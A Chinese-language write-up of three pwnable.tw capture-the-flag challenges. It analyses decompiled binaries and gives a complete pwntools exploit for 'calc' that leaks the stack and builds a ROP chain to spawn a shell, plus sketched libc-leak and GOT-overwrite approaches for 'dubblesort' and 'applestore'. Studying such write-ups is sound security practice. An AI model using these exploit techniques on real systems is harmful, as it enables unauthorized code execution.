calc dubblesort applestore
calc 逻辑漏洞造成可以泄露栈上内容以及写栈上返回地址
程序实现了简单计算器的功能。主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned int calc () { int result[101 ]; char expr[1024 ]; unsigned int v3; v3 = __readgsdword(0x14 u); while ( 1 ) { bzero(expr, 0x400 u); if ( !get_expr(expr, 1024 ) ) break ; init_pool(result); if ( parse_expr(expr, result) ) { printf ("%d\n" , result[result[0 ]]); fflush(stdout ); } } return __readgsdword(0x14 u) ^ v3; }
其中出现漏洞的函数是parse_expr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 int __cdecl parse_expr (char *expr, int *num_pool) { int v3; char *old_opera_plus1; int opera_start_idx; int v6; int len; char *num_str; int num; char opera_pool[100 ]; unsigned int v11; v11 = __readgsdword(0x14 u); old_opera_plus1 = expr; v6 = 0 ; bzero(opera_pool, 0x64 u); for ( opera_start_idx = 0 ; ; ++opera_start_idx ) { if ( expr[opera_start_idx] - (unsigned int )'0' > 9 ) { len = &expr[opera_start_idx] - old_opera_plus1; num_str = (char *)malloc (len + 1 ); memcpy (num_str, old_opera_plus1, len); num_str[len] = 0 ; if ( !strcmp (num_str, "0" ) ) { puts ("prevent division by zero" ); fflush(stdout ); return 0 ; } num = atoi(num_str); if ( num > 0 ) { v3 = (*num_pool)++; num_pool[v3 + 1 ] = num; } if ( expr[opera_start_idx] && expr[opera_start_idx + 1 ] - (unsigned int )'0' > 9 ) { puts ("expression error!" ); fflush(stdout ); return 0 ; } old_opera_plus1 = &expr[opera_start_idx + 1 ]; if ( opera_pool[v6] ) { switch ( expr[opera_start_idx] ) { case '%' : case '*' : case '/' : if ( opera_pool[v6] != '+' && opera_pool[v6] != '-' ) goto LABEL_14; opera_pool[++v6] = expr[opera_start_idx]; break ; case '+' : case '-' : LABEL_14: eval(num_pool, opera_pool[v6]); opera_pool[v6] = expr[opera_start_idx]; break ; default : eval(num_pool, opera_pool[v6--]); break ; } } else { opera_pool[v6] = expr[opera_start_idx]; } if ( !expr[opera_start_idx] ) break ; } } while ( v6 >= 0 ) eval(num_pool, opera_pool[v6--]); return 1 ; }
eval
的内容就是将num_pool
的倒数两个数用operator
计算一下存入倒数第二个数的位置并将num_pool[0]
减一。
其中有一句if ( expr[opera_start_idx] - (unsigned int)'0' > 9 )// operator or \0
不同类型进行运算时进行转换符合一套规则,完整可见《c++ primer plus》中文第六版p64。在这个表达式中两个操作数一个有符号,另一个无符号,无和有的级别相同,且有不能表示无的所有可能取值,前7条均不符合,故符合的应该是(8)将两个操作数都转换为有符号类型的无符号版本。
现在考虑有哪些没被排除的非法输入。(草其实我自己看是看不出来哪有问题的……)元素有两个,运算符和数。在对num_pool
计算时将数的个数放在0的位置,可能导致个数被当成操作数进行计算。那么如何达成错开一个数的效果呢?可以考虑比一般情况少输入一个数。发现第一个元素为运算符的情况程序没有考虑。
输入+n时,第一次循环检测到+将+存入opera_pool
,第二次将n存入num_pool
[1,n],计算结果num_pool
[n+1,n]->[n,n],返回``result[result[0]]=num_pool[n]`,我们可以用这个思路来泄露任意偏移栈上的内容。
而输入+x+n(x不为1)计算的结果都将是n。比如输入+10+1后按照程序逻辑,第一次循环检测到运算符+,将+存入opera_pool
;第二次循环检测到第二个+,将x存入num_pool
[1,10],再将+存入opera_pool
,进入eval
后num_pool
变为[11,10]->[10,10];进入第三次循环检测到结尾的\0
,将n存入num_pool
,此时num_pool[11]
=1,再进行计算,num_pool[10]=num_pool[10]+num_pool[11]=1
。而此时opera_pool
已经为空了所以返回了result[result[0]]=num_pool[10]=1
。利用这个思路达到任意偏移写。
利用 静态编译,考虑构造11号系统调用。(条件我还不知道是从哪来的…)粘自网络:
1 2 3 4 eax = 11 ebx = addr("/bin/sh") ecx = 0 edx = 0
由int result[101]; // [esp+18h] [ebp-5A0h] BYREF
,0x5a0/4=360
,我们得到了栈的基址即得到了写入/bin/sh
的地址。查找rop链控制参数即可。写的时候注意两个地方,一个是栈上原有的数据可能干扰写入,一个是不能直接把0写进去,只要0在运算符后都被判invalid
。我的处理办法是先从高地址往低写1,需要0时第二个运算符换成-就得到了0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *;from LibcSearcher import *name='./calc' f=ELF(name) if args.G: p=remote("chall.pwnable.tw" ,10100 ) else : p=process(name) context(os='linux' ,arch='i386' ,log_level='debug' ) one=[0x4527a ,0x45226 ,0xf0364 ,0xf1207 ] s = lambda data :p.send(str (data)) sa = lambda delim,data :p.sendafter(delim, str (data)) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu64 = lambda data :u64(data.ljust(8 ,'\0' )) uu32 = lambda data :u32(data.ljust(4 ,'\0' )) leak = lambda name,addr :log.success('{} = {:#x}' .format (name, addr)) l = lambda x :log.success(x) dbg = lambda : gdb.attach(p,"b *0x80493f2" ) def pa (i,num ): sl('+' +str (360 +i)+'+' +str (num)) eax=0x0805c34b edx_c_b=0x080701d0 ecx_b=0x080701d1 ebx_esi=0x0804a094 int_80=0x08049a21 sla('===\n' ,flat('+' ,'360' )) ebp=int (ru('\n' ,drop=True ))+0xffffffff +1 -0x20 log.info("ebp:" +hex (ebp)) log.info('num_pool:' +hex (ebp-0x5a0 )) for i in range (11 ,-1 ,-1 ): pa(i,1 ) pa(12 +2 ,0x68732f ) pa(11 +2 ,0x6e69622f ) pa(10 +2 ,int_80) sl('+371-' +str (0xffffffff -ebp-46 -8 )) pa(7 +2 ,ebx_esi) sl('+368-' +str (1 )) pa(4 +2 ,ecx_b) sl('+364-' +str (1 )) pa(0 +2 ,edx_c_b) pa(1 ,11 ) pa(0 ,eax) sl('a' ) p.interactive()
dubblesort 接收字符串打印并往栈上写东西。打印时用的是printf
,遇到\0
截断,考虑覆盖栈上内容带出来libc
有关的内容。写的时候因为会对输入内容排序记得保证值不减小。这个地方的找偏移我长了点见识。
输入以后看栈上内容:
1 2 3 4 5 6 7 8 9 10 gdb-peda$ tel 0xffba6b9c 0000| 0xffba6b9c ('a' <repeats 23 times>, "\n") 0004| 0xffba6ba0 ('a' <repeats 19 times>, "\n") 0008| 0xffba6ba4 ('a' <repeats 15 times>, "\n") 0012| 0xffba6ba8 ('a' <repeats 11 times>, "\n") 0016| 0xffba6bac ("aaaaaaa\n") 0020| 0xffba6bb0 ("aaa\n") 0024| 0xffba6bb4 --> 0xf7f3e000 --> 0x1b2db0 0028| 0xffba6bb8 --> 0xf7f3c244 --> 0xf7da3030 (<_IO_check_libio>: ) gdb-peda$
以0x28处的值为例。本地中它相对于libc
的偏移为0x1b1244,执行readelf -S /lib/i386-linux-gnu/libc-2.23.so
1 2 [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [24] .tbss NOBITS 001b1244 1b0244 000040 00 WAT 0 0 4
于是对应到给的libc
找出该段偏移。(啊不太懂为什么看Addr而不是Off)
1 [23] .tbss NOBITS 001ae244 1ad244 000040 00 WAT 0 0 4
applestore 在ida
里view->open subviews->local types
,按下insert
可以用C语言直接声明结构体,在变量处右键转换为结构体指针格式后整理出来的代码看着还是挺爽的。
1 2 3 4 5 6 printf ("%d: Apple Store\n" , 1 );printf ("%d: Add into your shopping cart\n" , 2 );printf ("%d: Remove from your shopping cart\n" , 3 );printf ("%d: List your shopping cart\n" , 4 );printf ("%d: Checkout\n" , 5 );return printf ("%d: Exit\n" , 6 );
4个功能,(2)用malloc
创建链表结点(3)删除结点(用的是unlink
那一套(4)链表遍历打印购物车(5)结账。结账代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned int checkout () { int total; item v2; unsigned int v3; v3 = __readgsdword(0x14 u); total = cart(); if ( total == 7174 ) { puts ("*: iPhone 8 - $1" ); asprintf(&v2.name, "%s" , "iPhone 8" ); v2.value = 1 ; insert(&v2); total = 7175 ; } printf ("Total: $%d\n" , total); puts ("Want to checkout? Maybe next time!" ); return __readgsdword(0x14 u) ^ v3; }
实际上当checkout
执行过一次后再遍历打印就会失败了,因为此时栈上此处变成了垃圾数据。而观察一下,item v2; // [esp+18h] [ebp-20h] BYREF
,三个函数add
delete
cart
中都存在char nptr[22]; // [esp+26h] [ebp-22h] BYREF
,而my_read(nptr, 0x15u);
也就是说可以通过溢出写到最后这个结构体。
调用cart
时将成员name
写成got
表项即可得到libc
。接下来考虑怎么修改。思路不难和堆题的unlink
联系起来。如果直接将got
表项改成system
地址,system
处代码段为只读不可修改。可以考虑将handler
的ebp
劫持到atoi
的 got
表处,用my_read(nptr, 0x15u);
修改。
参考 https://p1kk.github.io/
一丢丢节省生命的调试技巧 如果想在打开调试窗口时自动执行多条gdb命令,可以在做题文件夹下创建.gdbinit
文件,将命令以换行符分隔输入,在家目录下.gdbinit
中加入add-auto-load-safe-path ./
。这样在命令行进行gdb调试和gdb.attach时都能自动执行输入的命令。
多条命令一起执行也可定义函数,同样可在.gdbinit中输入↓ 如果想走一步看一块内存或者干嘛而display又不是很方便的话可以这么做。
1 2 3 4 def func command ... end
以及,看了下做题时间。我有病吧,就因为一个calc
卡了一年??